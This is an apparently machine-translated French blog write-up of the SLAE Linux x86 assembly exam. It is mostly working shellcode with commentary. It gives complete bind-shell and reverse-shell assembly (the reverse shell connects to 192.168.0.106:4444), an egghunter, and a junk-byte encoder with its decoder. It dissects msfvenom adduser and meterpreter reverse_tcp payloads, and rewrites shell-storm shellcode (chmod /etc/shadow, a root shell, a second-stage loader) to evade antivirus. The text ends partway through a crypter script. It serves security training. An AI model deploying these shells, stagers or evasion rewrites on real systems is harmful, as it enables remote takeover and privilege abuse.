SLAE - Examen expert de sécurité Linux Assembly

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Security Linux Assembly Expert - un cours et un examen en ligne sur les bases du langage d'assemblage 32 bits de la famille de processeurs Intel dans les systèmes Linux dans le contexte de la sécurité de l'information. Le cours sera utile aux pentesters, aux ingénieurs en sécurité de l'information et à tous ceux qui souhaitent comprendre les bases de l'assembleur et apprendre à écrire des shellcodes simples. Après avoir terminé le cours, vous apprendrez à utiliser les appels système Linux de base, à écrire des codes shell simples et à commencer à comprendre les principes de base du système d'exploitation au niveau du noyau. Cet article couvrira les tâches requises pour réussir l'examen de ce cours .

Selon les conditions de l'examen, vous devez effectuer 7 tâches:

  1. Écrire un shell de liaison TCP
  2. Écrire un shell TCP inversé
  3. Traitez de la technique des chasseurs d'eggs et donnez un exemple de cette technique
  4. Écrire un encodeur de code
  5. Analysez 3 shellcodes générés par msfvenom avec GDB / ndisasm / libemu
  6. Effectuez la conversion polymorphe de 3 n'importe quel shellcode et shellstorm.
  7. Écrire un chiffreur de code

Chacune des tâches doit être commentée, il est également souhaitable de fournir des captures d'écran du processus de travail sur elles. Commençons par la préparation.

Entraînement


L'automatisation est notre tout, donc avant de passer aux tâches, vous devez décrire les scripts utilisés pour maîtriser le cours et réussir l'examen. Ils permettront d'économiser du temps et des efforts.

nasm32.sh

#!/bin/bash

if [ -z $1 ]; then
  echo "Usage ./nasm32 <nasmMainFile> (no extension)"
  exit
fi

if [ ! -e "$1.asm" ]; then
  echo "Error, $1.asm not found."
  echo "Note, do not enter file extensions"
  exit
fi

nasm -f elf $1.asm -o $1.o
ld -m elf_i386 -o $1 $1.o

Ce script est utilisé pour compiler et lier rapidement des fichiers .asm.

popcode.sh

#!/bin/bash

target=$1

objdump -D -M intel "$target" | grep '[0-9a-f]:' | grep -v 'file' | cut -f2 -d: | cut -f1-7 -d' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed 's/ /\\x/g' | paste -d '' -s

Nous utiliserons ce script pour imprimer le code au format hexadécimal, avec "\ x" imprimé avant chaque caractère. Ceci est nécessaire pour insérer notre shellcode dans le fichier C.

hexopcode.sh

#!/bin/bash

target=$1

objdump -D -M intel "$target" | grep '[0-9a-f]:' | grep -v 'file' | cut -f2 -d: | cut -f1-7 -d' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed 's/ /\\x/g' | paste -d '' -s | sed -e 's!\\x!!g'

Ici, tout est le même que dans le script ci-dessus, seul le code est imprimé sans "\ x". Obligatoire pour passer le code hexadécimal au script suivant.

hex2stack.py

#!/usr/bin/python3
# -*- coding: utf-8 -*-

import sys

if __name__ == '__main__':
	if len(sys.argv) != 2:
		print("Enter opcode in hex")
		sys.exit(0)

	string = sys.argv[1]

	reversed = [string[i:i+2] for i in range(0,len(string),2)][::-1]

	l = len(reversed) % 4
	if l:
		print("\tpush 0x" + "90"*(4-l) + "".join(reversed[0:l]))

	for p in range(l, len(reversed[l:]), 4):
		print("\tpush 0x" + "".join(reversed[p:p+4]))

Pour faciliter le travail avec le code, vous pouvez le mettre sur la pile. Les données sont poussées sur la pile dans l'ordre inverse à l'aide de la commande push . Le script ci-dessus convertit la chaîne hexadécimale pour la placer sur la pile.

Exemple:

$./stack_shell.py 31c0506a68682f626173682f62696e89e35089c25389e1b00bcd80
	push 0x9080cd0b
	push 0xb0e18953
	push 0xc28950e3
	push 0x896e6962
	push 0x2f687361
	push 0x622f6868
	push 0x6a50c031

uscompile.sh

#!/bin/bash

if [ -z $1 ]; then
  echo "Usage ./compile <cFile> (no extension)"
  exit
fi

if [ ! -e "$1.c" ]; then
  echo "Error, $1.c not found."
  echo "Note, do not enter file extensions"
  exit
fi

gcc -masm=intel -m32 -ggdb -fno-stack-protector -z execstack -mpreferred-stack-boundary=2 -o $1 $1.c

Ce script compile un fichier C avec la protection de pile désactivée. Désactiver la protection à des fins éducatives.

shellcode.c

#include<stdio.h>
#include<string.h>

unsigned char code[] =
"";

int main()
{
        printf("Shellcode Length:  %d\n", strlen(code));
        int (*ret)() = (int(*)())code;
        ret();
}

Le fichier C lui-même, dans lequel nous mettons notre shellcode.

Tâches


1. Ecrire un shell de liaison TCP


Nous allons écrire le shell TCP-bind le plus simple, donc dans notre cas, l'ordre est le suivant:

  1. Nous créons un socket en utilisant l'appel système socket (), lors de la création, nous recevrons un descripteur de socket, qui est un nombre;
  2. Pour le socket créé, configurez les paramètres - le protocole, l'adresse où il "écoutera", le port - et effectuez un appel système bind (), qui fixera notre socket aux paramètres spécifiés;
  3. Appelez ensuite listen () - le socket «écoute» les connexions entrantes;
  4. Il ne suffit pas d'écouter les connexions, elles doivent être acceptées, donc - accept ();
  5. Une fois que le client s'est connecté à nous, il est nécessaire de rediriger les descripteurs standard d'entrée, de sortie et d'erreurs vers le client: dupliquez-les en utilisant dup2 ();
  6. Et le dernier: nous appellerons un shell de commande dans lequel le client pourra exécuter des commandes.

Avant de passer à l'écriture du code assembleur, il sera utile d'implémenter l'exemple ci-dessus en C.

#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <stdio.h>

int main(void)
{
    int clientfd, sockfd;
    int port = 1234;
    struct sockaddr_in mysockaddr;

    // AF_INET - IPv4, SOCK_STREAM - TCP, 0 - most suitable protocol
    // AF_INET = 2, SOCK_STREAM = 1
    // create socket, save socket file descriptor in sockfd variable
    sockfd = socket(AF_INET, SOCK_STREAM, 0);

    // fill structure
    mysockaddr.sin_family = AF_INET; // can be represented in numeric as 2
    mysockaddr.sin_port = htons(port);
    //mysockaddr.sin_addr.s_addr = INADDR_ANY;// can be represented in numeric as 0 which means to bind to all interfaces
    mysockaddr.sin_addr.s_addr = inet_addr("192.168.0.106");
    // size of this array is 16 bytes
    //printf("size of mysockaddr: %lu\n", sizeof(mysockaddr));
    // executing bind() call
    bind(sockfd, (struct sockaddr *) &mysockaddr;, sizeof(mysockaddr));
    // listen()
    listen(sockfd, 1);
    // accept()
    clientfd = accept(sockfd, NULL, NULL);
    // duplicate standard file descriptors in client file descriptor
    dup2(clientfd, 0);
    dup2(clientfd, 1);
    dup2(clientfd, 2);
    // and last: execute /bin/sh. All input and ouput of /bin/sh will translated via TCP connection
    char * const argv[] = {"sh",NULL, NULL};
    execve("/bin/sh", argv, NULL);
    return 0;
}

Il est temps de porter notre code à l'assembleur. Pour comprendre quels arguments chaque appel et non seulement accepte, vous pouvez voir un guide pour eux: man <call>. Parfois, un seul nom peut avoir plusieurs manuels de référence. Liste tous les disponibles: apropos <call>.

Après quoi: homme <numéro du manuel qui nous intéresse> <call>.

0.
Nous préparons les registres Nous ne connaissons pas les valeurs qui sont dans les registres au début de notre travail avec eux, nous les réinitialisons donc:

	section .text
global _start

_start:
	xor eax, eax
	xor ebx, ebx
	xor esi, esi

1. Créer un socket

Dans les appels système x86, il n'y a pas d'appel direct à socket (). Tous les appels sont effectués indirectement via la méthode socketcall (). Cet appel prend 2 arguments: le numéro d'appel du socket et un pointeur sur ses arguments. Une liste des appels de socket possibles se trouve dans le fichier: /usr/include/linux/net.h

	; creating socket. 3 args
	push esi	; 3rd arg, choose default proto
	push 0x1	; 2nd arg, 1 equal SOCK_STREAM, TCP
	push 0x2	; 1st arg, 2 means Internet family proto
	; calling socket call for socket creating
	mov al, 102	; socketcall
	mov bl, 1	; 1 = socket()
	mov ecx, esp	; pointer to args of socket()
	int 0x80
	; in eax socket file descriptor. Save it
	mov edx, eax

2. Spécifiez les paramètres du socket créé et exécutez bind ().

L'image ci-dessous montre comment pousser les paramètres de socket sur la pile.

J'ai dû passer un peu de temps à comprendre sous quelle forme les paramètres de socket sont mis sur la pile:

image

	; creating sockaddr_in addr struct for bind
	push esi		; address, 0 - all interfaces
	push WORD 0xd204	; port 1234.
	push WORD 2		; AF_INET
	mov ecx, esp		; pointer to sockaddr_in struct
	push 0x16		; size of struct
	push ecx		; pushing pointer to struct
	push edx		; pushing socket descriptor
	; socketcall
	mov al, 102
	mov bl, 2		; bind()
	mov ecx, esp
	int 0x80

Pour modifier le port, vous pouvez exécuter la commande:

$python3 -c "import socket; print(hex(socket.htons(<int:port>)))"

Et si vous souhaitez spécifier une adresse spécifique sur laquelle notre socket écoutera:

$python3 -c 'import ipaddress; d = hex(int(ipaddress.IPv4Address("<IPv4 address>"))); print("0x"+"".join([d[i:i+2] for i in range(0,len(d),2)][1:][::-1]))'

3. Appelez Listen ()

	; creating listen
	push 1
	push edx
	; calling socketcall
	mov al, 102
	mov bl, 4		; listen()
	mov ecx, esp
	int 0x80

4. Appel accepté ()

	; creating accept()
	push esi
	push esi
	push edx
	; calling socketcall
	mov al, 102
	mov bl, 5		; accept()
	mov ecx, esp
	int 0x80

	mov edx, eax		; saving client file descriptor

5. Dupliquez les descripteurs standard.

	; dup2 STDIN, STDOUT, STDERR
	xor ecx, ecx
	mov cl, 3
	mov ebx, edx
dup:	dec ecx
	mov al, 63
	int 0x80
	jns dup

6. Appelez le shell de commande

	; execve /bin/sh
	xor eax, eax
	push eax
	push 0x68732f2f
	push 0x6e69622f
        mov ebx, esp
        push eax
        mov edx, esp
        push ebx
        mov ecx, esp
        mov al, 11
        int 0x80

Maintenant, rassemblez tout

	section .text
global _start

_start:
	; clear registers
	xor eax, eax
	xor ebx, ebx
	xor esi, esi
	; creating socket. 3 args
	push esi	; 3rd arg, choose default proto
	push 0x1	; 2nd arg, 1 equal SOCK_STREAM, TCP
	push 0x2	; 1st arg, 2 means Internet family proto
	; calling socket call for socket creating
	mov al, 102	; socketcall
	mov bl, 1	; 1 = socket()
	mov ecx, esp	; pointer to args of socket()
	int 0x80
	; in eax socket file descriptor. Save it
	mov edx, eax

	; creating sockaddr_in addr struct for bind
	push esi		; address, 0 - all interfaces
	push WORD 0xd204	; port 1234.
	push WORD 2		; AF_INET
	mov ecx, esp		; pointer to sockaddr_in struct
	push 0x16		; size of struct
	push ecx		; pushing pointer to struct
	push edx		; pushing socket descriptor
	; socketcall
	mov al, 102		; socketcall() number
	mov bl, 2		; bind()
	mov ecx, esp		; 2nd argument - pointer to args
	int 0x80

	; creating listen
	push 1			; listen for 1 client
	push edx		; clients queue size
	; calling socketcall
	mov al, 102
	mov bl, 4		; listen()
	mov ecx, esp
	int 0x80

	; creating accept()
	push esi		; use default value
	push esi		; use default value
	push edx		; sockfd
	; calling socketcall
	mov al, 102
	mov bl, 5		; accept()
	mov ecx, esp
	int 0x80

	mov edx, eax		; saving client file descriptor

	; dup2 STDIN, STDOUT, STDERR
	xor ecx, ecx		; clear ecx
	mov cl, 3		; number of loops
	mov ebx, edx		; socketfd
dup:	dec ecx
	mov al, 63		; number of dup2 syscall()
	int 0x80
	jns dup			; repeat for 1,0

	; execve /bin/bash
	xor eax, eax		; clear eax
	push eax		; string terminator
	push 0x68732f2f		; //bin/sh
	push 0x6e69622f
        mov ebx, esp		; 1st arg - address of //bin/sh
        push eax		; 
        mov edx, eax		; last argument is zero
        push ebx		; 2nd arg - pointer to all args of command
        mov ecx, esp		; pointer to args
        mov al, 11		; execve syscall number
        int 0x80

Maintenant, nous prenons l'opcode du shellcode reçu, le transférons dans notre modèle de fichier C, compilons et exécutons:

image

2. Shell TCP inversé


Cette tâche dans sa mise en œuvre est très similaire à la précédente, sauf que nous accepterons une connexion entrante. Algorithme général:

1. Créez un socket;
2. Définissez les paramètres de connexion: protocole, hôte, port;
3. Descripteurs de fichiers en double;
4. Appelez le shell de commande.

#include <stdio.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <arpa/inet.h>
#include <unistd.h>

int main ()
{
    const char* ip = "192.168.0.106";	// place your address here
    struct sockaddr_in addr;

    addr.sin_family = AF_INET;
    addr.sin_port = htons(4444);	// port
    inet_aton(ip, &addr;.sin_addr);

    int sockfd = socket(AF_INET, SOCK_STREAM, 0);
    connect(sockfd, (struct sockaddr *)&addr;, sizeof(addr));

    /* duplicating standard file descriptors */
    for (int i = 0; i < 3; i++)
    {
        dup2(sockfd, i);
    }

    execve("/bin/sh", NULL, NULL);

 

Nous traduisons en assembleur

	section .text
global _start

_start:
	; creating socket
	xor eax, eax
	xor esi, esi
	xor ebx, ebx
	push esi
	push 0x1
	push 0x2
	; calling socket call for socket creating
	mov al, 102
	mov bl, 1
	mov ecx, esp
	int 0x80
	mov edx, eax

	; creating sockaddr_in and connect()
	push esi
	push esi
	push 0x6a00a8c0		; IPv4 address to connect
	push WORD 0x5c11	; port
	push WORD 2
	mov ecx, esp
	push 0x16
	push ecx
	push edx
	; socketcall()
	mov al, 102
	mov bl, 3		; connect()
	mov ecx, esp
	int 0x80

	; dup2 STDIN, STDOUT, STDERR
	xor ecx, ecx
	mov cl, 3
	mov ebx, edx
dup:	dec ecx
	mov al, 63
	int 0x80
	jns dup

	; execve /bin/sh
	xor eax, eax
	push eax
	push 0x68732f2f
	push 0x6e69622f
        mov ebx, esp
        push eax
        mov edx, esp
        push ebx
        mov ecx, esp
        mov al, 11
        int 0x80

Alors:

$nasm32 reverse_tcp_shell

Vous pouvez modifier l'adresse ou le port de connexion à l'aide de commandes similaires (tâche 1)
Résultat

image

3. La technique egghunter


La technique egghunter consiste à localiser en mémoire la zone désignée par «l'oeuf de pâques», dont nous connaissons la signification à l'avance, et à transférer le contrôle au code suivant «l'oeuf». Cette technique est utile lorsque nous ne connaissons pas l'adresse exacte de notre shellcode.

Pour illustrer cet exemple:

  1. Nous mettons des «ordures» sur la pile;
  2. Mettez notre shellcode sur la pile;
  3. Mettez l'oeuf de Pâques sur la pile;
  4. Ajoutez plus de déchets.

Pour générer des "ordures", nous utilisons le script suivant:

#!/usr/bin/python3

import random

rdm = bytearray(random.getrandbits(8) for _ in range(96))
for i in range(0,len(rdm),4):
	bts = rdm[i:i+4]
	print("\tpush 0x" + ''.join('{:02x}'.format(x) for x in bts))

Nous rechercherons le shellcode:

	; execve_sh
global _start

section .text
_start:

        ; PUSH 0
        xor eax, eax
        push eax

        ; PUSH //bin/sh (8 bytes)
	push 0x68732f2f
	push 0x6e69622f

        mov ebx, esp

        push eax
        mov edx, eax

        push ebx
        mov ecx, esp

        mov al, 11
        int 0x80

Ce shellcode doit être compilé, prendre son opcode et mettre sur la pile.

En conséquence, nous réussirons:

section .text
global _start

_start:
	; trash
	push 0x94047484
	push 0x8c35f24a
	push 0x5a449067
	push 0xf5a651ed
	push 0x7161d058
	push 0x3b7b4e10
	push 0x9f93c06e
	; shellcode execve() /bin/sh
	push 0x9080cd0b
	push 0xb0e18953
	push 0xe28950e3
	push 0x896e6962
	push 0x2f687361
	push 0x622f6868
	push 0x6a50c031
	; egg
	push 0xdeadbeef
	; trash
        push 0xd213a92d
        push 0x9e3a066b
        push 0xeb8cb927
        push 0xddbaec55
        push 0x43a73283
        push 0x89f447de
        push 0xacfb220f


	mov ebx, 0xefbeadde	; egg in reverse order
        mov esi, esp
        mov cl, 200		; change this value for deeper or less searching

find:   lodsb			; read byte from source - esi
        cmp eax, ebx		; is it egg?
        jz equal		; if so, give control to shellcode
	shl eax, 8		; if not, shift one byte left
        loop find		; repeat

	xor eax, eax		; if there is no egg - exit
        mov al, 1
	xor ebx, ebx
        mov bl, 10
        int 0x80

equal: jmp esi			; jmp to shellcode

image

Vous pouvez remplacer la recherche de boucle par l'instruction jmp find, mais cela peut entraîner une erreur de programme. Vous pouvez également créer un gestionnaire pour cette exception, dans le cas général, notre code suffit. Parfois, il peut être nécessaire de trouver un «œuf de Pâques» se trouvant dans une direction différente de la mémoire, puis vous devez changer la valeur de l'indicateur de direction, et vous pouvez utiliser jmp esi + offset pour transférer le contrôle au shellcode.

4. Écrivez votre encodeur


Dans notre cas, l'encodage consiste à modifier le code source du shellcode sans utiliser les informations nécessaires au décodage inverse, ce qui distingue ce processus du processus de cryptage. J'ai décidé de terminer cette tâche, comme je le sais, mais avec une petite complication: entre les octets souhaités du shellcode, il y a un nombre aléatoire (de 1 à 5) d'octets de déchets. Pour générer le shellcode encodé, j'ai écrit le script suivant:

#!/usr/bin/python3
# -*- coding: utf-8 -*-

import sys
import random

if len(sys.argv) != 2:
        print("Enter opcode in hex")
        sys.exit(0)

opcode = sys.argv[1]
encoded = ""

b1 = bytearray.fromhex(opcode)

# Generates random value from 1 to 5 of 'aa' string
for x in b1:
        t = 'aa' * random.randint(1,5)
        encoded += '%02x' % x + t

print(encoded)

Le résultat est poussé sur la pile:

$./hex2stack.py $(./encoder.py $(hexopcode execve_sh))

Conclusion:

	push 0x909090aa
	push 0xaaaaaaaa
	push 0x80aaaaaa
	push 0xaacdaaaa
	push 0xaaaa0baa
	push 0xaaaaaaaa
	push 0xb0aaaaaa
	push 0xaae1aaaa
	push 0xaaaaaa89
	push 0xaaaaaa53
	push 0xaaaaaac2
	push 0xaa89aaaa
	push 0xaaaa50aa
	push 0xaaaaaaaa
	push 0xe3aaaa89
	push 0xaaaa6eaa
	push 0xaa69aaaa
	push 0xaaaa62aa
	push 0xaaaaaa2f
	push 0xaa68aaaa
	push 0x68aaaaaa
	push 0xaaaa73aa
	push 0xaaaa2faa
	push 0xaa2faaaa
	push 0xaa68aaaa
	push 0x50aaaaaa
	push 0xaaaac0aa
	push 0xaaaaaa31

Faites attention à la première partie 0x909090aa. Le premier octet 90 à droite est la fin de notre shellcode codé. Bien sûr, vous pouvez sélectionner toute autre valeur valide pour indiquer la fin du shellcode.

Code du décodeur:

	section .text
	global _start
_start:
	; encoded shellcode
	push 0x909090aa
	push 0xaaaaaaaa
	push 0x80aaaaaa
	push 0xaacdaaaa
	push 0xaaaa0baa
	push 0xaaaaaaaa
	push 0xb0aaaaaa
	push 0xaae1aaaa
	push 0xaaaaaa89
	push 0xaaaaaa53
	push 0xaaaaaac2
	push 0xaa89aaaa
	push 0xaaaa50aa
	push 0xaaaaaaaa
	push 0xe3aaaa89
	push 0xaaaa6eaa
	push 0xaa69aaaa
	push 0xaaaa62aa
	push 0xaaaaaa2f
	push 0xaa68aaaa
	push 0x68aaaaaa
	push 0xaaaa73aa
	push 0xaaaa2faa
	push 0xaa2faaaa
	push 0xaa68aaaa
	push 0x50aaaaaa
	push 0xaaaac0aa
	push 0xaaaaaa31

	; prepare registers for decoding
	mov esi, esp
	mov edi, esp
	mov bl, 0xaa

decoder:
	lodsb		; read byte from stack
	cmp al, bl	; check: is it trash byte?
	jz loopy	; if so, repeat
	cmp al, 0x90	; is it end of shellcode?
	jz exec		; if so, go to start of shellcode
	stosb		; if not, place byte of shellcode into stack
loopy:	jmp decoder	; repeat

exec:	jmp esp		; give flow control to shellcode

Si le shellcode n'a pas d'instructions nop (0x90), cet octet peut être sélectionné comme marqueur pour la fin du shellcode. Dans d'autres cas, vous devez utiliser une valeur différente.
Résultat:

image

5. Analyse des shellcodes générés par msfvenom en utilisant GDB / libemu / ndisasm


Dans cette section, nous analyserons les shellcodes obtenus par l'outil bien connu - msfvenom.

1. add user
La commande de génération du shellcode:

msfvenom -a x86 --platform linux -p linux/x86/adduser -f c > adduser.c

Il existe plusieurs options pour analyser le shellcode GDB résultant, j'ai décidé d'utiliser une méthode pratique pour moi - pour mettre le code sur la pile et l'analyser.

$ cat adduser.c | grep -Po "\\\x.." | tr -d '\n' | sed -e 's!\\x!!g' ; echo
31c989cb6a4658cd806a055831c9516873737764682f2f7061682f65746389e341b504cd8093e8280000006d65746173706c6f69743a417a2f6449736a3470344952633a303a303a3a2f3a2f62696e2f73680a598b51fc6a0458cd806a0158cd80

$ python3 hex2stack.py 31c989cb6a4658cd806a055831c9516873737764682f2f7061682f65746389e341b504cd8093e8280000006d65746173706c6f69743a417a2f6449736a3470344952633a303a303a3a2f3a2f62696e2f73680a598b51fc6a0458cd806a0158cd80
out:
	push 0x90909080
	push 0xcd58016a
	push 0x80cd5804
	...

Nous analyserons le fichier suivant:

	section .text
	global _start
_start:
	push 0x90909080
	push 0xcd58016a
	push 0x80cd5804
	push 0x6afc518b
	push 0x590a6873
	push 0x2f6e6962
	push 0x2f3a2f3a
	push 0x3a303a30
	push 0x3a635249
	push 0x3470346a
	push 0x7349642f
	push 0x7a413a74
	push 0x696f6c70
	push 0x73617465
	push 0x6d000000
	push 0x28e89380
	push 0xcd04b541
	push 0xe3896374
	push 0x652f6861
	push 0x702f2f68
	push 0x64777373
	push 0x6851c931
	push 0x58056a80
	push 0xcd58466a
	push 0xcb89c931
	jmp esp

image

La première chose que fait le shellcode est de créer setreuid () avec les paramètres (0,0): le shellcode doit avoir les privilèges root. Après cela, le fichier / etc / passwd s'ouvre. Dans le code, après ouverture du fichier, l'instruction d'appel est utilisée. En suivant cette instruction, le processeur mettra la commande suivante sur la pile. Dans notre cas, une telle commande est suivie d'une ligne avec nos paramètres utilisateur - par la suite, cette ligne sera écrite dans le fichier. Cette méthode vous permet d'utiliser toutes les données pour écrire dans un fichier.

2. exec whoami Nous
estimions la rédaction du dossier, maintenant nous allons voir comment l'exécution des commandes est mise en œuvre.
Générer shellcode:

msfvenom -a x86 --platform linux -p linux/x86/exec CMD="whoami" -f raw> exec_whoami.bin

Pour analyser le code, exécutez:

$sctest -vv -S -s 10000 -G shell.dot < exec_whoami.bin

[emu 0x0x16c8100 debug ] 6A0B                            push byte 0xb
; execve()		
[emu 0x0x16c8100 debug ] 58                              pop eax		
[emu 0x0x16c8100 debug ] 99                              cwd
; in this case - set to 0 due to cwd and small eax
[emu 0x0x16c8100 debug ] 52                              push edx		
; "-c"
[emu 0x0x16c8100 debug ] 66682D63                        push word 0x632d	
; address of "-c"
[emu 0x0x16c8100 debug ] 89E7                            mov edi,esp		
; /bin/sh
[emu 0x0x16c8100 debug ] 682F736800                      push dword 0x68732f	
[emu 0x0x16c8100 debug ] 682F62696E                      push dword 0x6e69622f
; 1st arg of execve()
[emu 0x0x16c8100 debug ] 89E3                            mov ebx,esp		
; null
[emu 0x0x16c8100 debug ] 52                              push edx		
; place "whoami" in stack
[emu 0x0x16c8100 debug ] E8                              call 0x1		
; push "-c"
[emu 0x0x16c8100 debug ] 57                              push edi		
; push "/bin/sh"
[emu 0x0x16c8100 debug ] 53                              push ebx		
; 2nd argument of execve() 
; pointer to args
[emu 0x0x16c8100 debug ] 89E1                            mov ecx,esp		
; execute execve()
[emu 0x0x16c8100 debug ] CD80                            int 0x80		

image

L'instruction d'appel est également utilisée pour exécuter la commande, ce qui facilite la modification de la commande exécutable.

3. Commande TCP Meterpreter inversée

pour générer une charge utile

msfvenom -a x86 --platform linux -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.0.102 LPORT=4444 -f raw > meter_revtcp.bin

alors

ndisasm -u meter_revtcp.bin

Code avec commentaires
00000000  6A0A              push byte +0xa
00000002  5E                pop esi			; place 10 in esi
00000003  31DB              xor ebx,ebx			; nullify ebx
00000005  F7E3              mul ebx
00000007  53                push ebx			; push 0
00000008  43                inc ebx			; 1 in ebx
00000009  53                push ebx			; push 1
0000000A  6A02              push byte +0x2		; push 2
0000000C  B066              mov al,0x66			; mov socketcall
0000000E  89E1              mov ecx,esp			; address of argument
00000010  CD80              int 0x80			; calling socketcall() with socket()
00000012  97                xchg eax,edi		; place sockfd in edi
00000013  5B                pop ebx			; in ebx 1
00000014  68C0A80066        push dword 0x6600a8c0	; place IPv4 address connect to
00000019  680200115C        push dword 0x5c110002	; place port and proto family
0000001E  89E1              mov ecx,esp
00000020  6A66              push byte +0x66
00000022  58                pop eax			; socketcall()
00000023  50                push eax
00000024  51                push ecx			; addresss of sockaddr_in structure
00000025  57                push edi			; sockfd
00000026  89E1              mov ecx,esp			; address of arguments
00000028  43                inc ebx
00000029  CD80              int 0x80			; call connect()
0000002B  85C0              test eax,eax		; 
0000002D  7919              jns 0x48			; if connect successful - jmp
0000002F  4E                dec esi			; in esi 10 - number of attempts to connect
00000030  743D              jz 0x6f			; if zero attempts left - exit
00000032  68A2000000        push dword 0xa2
00000037  58                pop eax
00000038  6A00              push byte +0x0
0000003A  6A05              push byte +0x5
0000003C  89E3              mov ebx,esp
0000003E  31C9              xor ecx,ecx
00000040  CD80              int 0x80			; wait 5 seconds
00000042  85C0              test eax,eax
00000044  79BD              jns 0x3
00000046  EB27              jmp short 0x6f
00000048  B207              mov dl,0x7			; mov dl 7 - read, write, execute for mprotect() memory area
0000004A  B900100000        mov ecx,0x1000		; 4096 bytes
0000004F  89E3              mov ebx,esp
00000051  C1EB0C            shr ebx,byte 0xc
00000054  C1E30C            shl ebx,byte 0xc		; nullify 12 lowest bits
00000057  B07D              mov al,0x7d			; mprotect syscall
00000059  CD80              int 0x80
0000005B  85C0              test eax,eax
0000005D  7810              js 0x6f			; if no success with mprotect -> exit
0000005F  5B                pop ebx			; if success put sockfd in ebx
00000060  89E1              mov ecx,esp
00000062  99                cdq
00000063  B60C              mov dh,0xc
00000065  B003              mov al,0x3			; read data from socket
00000067  CD80              int 0x80
00000069  85C0              test eax,eax
0000006B  7802              js 0x6f
0000006D  FFE1              jmp ecx			; jmp to 2nd part of shell
0000006F  B801000000        mov eax,0x1
00000074  BB01000000        mov ebx,0x1
00000079  CD80              int 0x80

Ce code crée un socket, essaie de se connecter à l'adresse IP spécifiée sur le port spécifié, crée une zone mémoire et essaie de lire la deuxième partie du shellcode à partir du socket et d'écrire dans la zone mémoire allouée. Si la connexion échoue, le programme attend 5 secondes et réessaye. Après plusieurs tentatives infructueuses ou en cas d'autres exceptions survenues, il arrête son travail.

6. Effectuer la conversion polymorphe de 3 shellcodes de shell-storm.


Une transformation polymorphe est une transformation dans laquelle le code shellcode change et la logique est préservée. Exemple:

xor eax, eax réinitialise les registres,
sub eax, eax réinitialise également les registres.

La différence entre les deux options sera dans les performances: la première fonctionnera un peu plus vite. La conversion polymorphe change la signature du shellcode, ce qui peut aider à cacher le shellcode de l'antivirus.

1. chmod / etc / shadow

	; http://shell-storm.org/shellcode/files/shellcode-608.php
	; Title: linux/x86 setuid(0) + chmod("/etc/shadow", 0666) Shellcode 37 Bytes
	; length - 40 bytes
	section .text

global _start

_start:
	sub ebx, ebx	; replaced
	push 0x17	; replaced
	pop eax		; replaced
	int 0x80
	sub eax, eax	; replaced
	push eax	; on success zero
	push 0x776f6461
        push 0x68732f63
        push 0x74652f2f
	mov ebx, esp
	mov cl, 0xb6	; replaced
	mov ch, 0x1	; replaced
        add al, 15	; replaced
        int 0x80
        add eax, 1	; replaced
        int 0x80

Ce shellcode appelle setuid () avec les paramètres 0,0 (il essaie d'obtenir les droits root) puis exécute chmod () pour le fichier / etc / shadow.

image

Dans certains cas, ce shellcode peut être exécuté sans réinitialiser les registres.


	section .text
global _start

_start:
	push 0x17	; replaced
	pop eax		; replaced
	int 0x80
	push eax	; on success zero
	push 0x776f6461
        push 0x68732f63
        push 0x74652f2f
	mov ebx, esp
	mov cl, 0xb6	; replaced
	mov ch, 0x1	; replaced
        add al, 15	; replaced
        int 0x80
        add eax, 1	; replaced
        int 0x80

Après avoir "collecté" ce code via asm, et non via un fichier C, il peut être exécuté avec succès.

2. Exécutez / bin / sh

	; http://shell-storm.org/shellcode/files/shellcode-251.php
	; (Linux/x86) setuid(0) + setgid(0) + execve("/bin/sh", ["/bin/sh", NULL]) 37 bytes
	; length - 45 byte
	section .text
global _start
_start:
	push 0x17
	mov eax, [esp]	; replaced
	sub ebx, ebx	; replaced
	imul edi, ebx	; replaced
	int 0x80

	push 0x2e
	mov eax, [esp]	; replaced
	push edi 	; replaced
	int 0x80

	sub edx, edx	; replaced
	push 0xb
	pop eax
	push edi	; replaced
	push 0x68732f2f
	push 0x6e69622f
	lea ebx, [esp]	; replaced
	push edi	; replaced
	push edi	; replaced
	lea esp, [ecx]	; replaced
	int 0x80

image

Ce shellcode a déjà été considéré plus d'une fois dans les exemples ci-dessus. Il n'a pas besoin d'explications particulières.

3. TCP bind shellcode avec deuxième étape

	; original: http://shell-storm.org/shellcode/files/shellcode-501.php
	; linux/x86 listens for shellcode on tcp/5555 and jumps to it 83 bytes
	; length 94
	section .text
global _start

_start:
	sub eax, eax	; replaced
	imul ebx, eax	; replaced
	imul edx, eax	; replaced

_socket:
	push 0x6
	push 0x1
	push 0x2
	add al, 0x66	; replaced
	add bl, 1	; replaced
	lea ecx, [esp] ; replaced
	int 0x80

_bind:
	mov edi, eax	; placing descriptor
	push edx
	push WORD 0xb315	;/* 5555 */
	push WORD 2
	lea ecx, [esp]	; replaced
	push 16
	push ecx
	push edi
	xor eax, eax	; replaced
	add al, 0x66	; replaced
	add bl, 1	; replaced
	lea ecx, [esp]	; replaced
	int 0x80

_listen:
	mov bl, 4	; replaced
	push 0x1
	push edi
	add al, 0x66	; replaced
	lea ecx, [esp]	; replaced
	int 0x80

_accept:
	push edx
	push edx
	push edi
	add al, 0x66	; replaced
	mov bl, 5	; replaced
	lea ecx, [esp]	; replaced
	int 0x80
	mov ebx, eax

_read:
	mov al, 0x3
	lea ecx, [esp]	; replaced
	mov dx, 0x7ff
	mov dl, 1	; replaced
	int 0x80
	jmp esp

Ce shellcode ouvre la connexion, reçoit la deuxième partie du shellcode et l'exécute.

Code de la deuxième partie:

	section .text
global _start

_start:
	xor eax, eax
	mov al, 1
	xor ebx, ebx
	mov ebx, 100
	int 0x80

image

Comme vous pouvez le voir, la deuxième partie du shellcode a réussi. Le code de sortie du programme est 100.

7. Cryptographe


Malgré le fait que dans le cours, le shellcode est chiffré à l'aide d'un langage C de haut niveau et de bibliothèques auxiliaires, j'ai décidé de terminer cette tâche dans l'assembleur, car le cours est dédié à l'assembleur, malgré la simplification de l'algorithme de chiffrement.

crypter.py

#!/usr/bin/python
# -*- coding: utf-8 -*-

import sys
import random

if len(sys.argv) != 2:
	print("Enter shellcode in hex")
	sys.exit(0)

shellcode = sys.argv[1]
plain_shellcode = bytearray.fromhex(shellcode)

# Generating key
key_length = len(plain_shellcode)
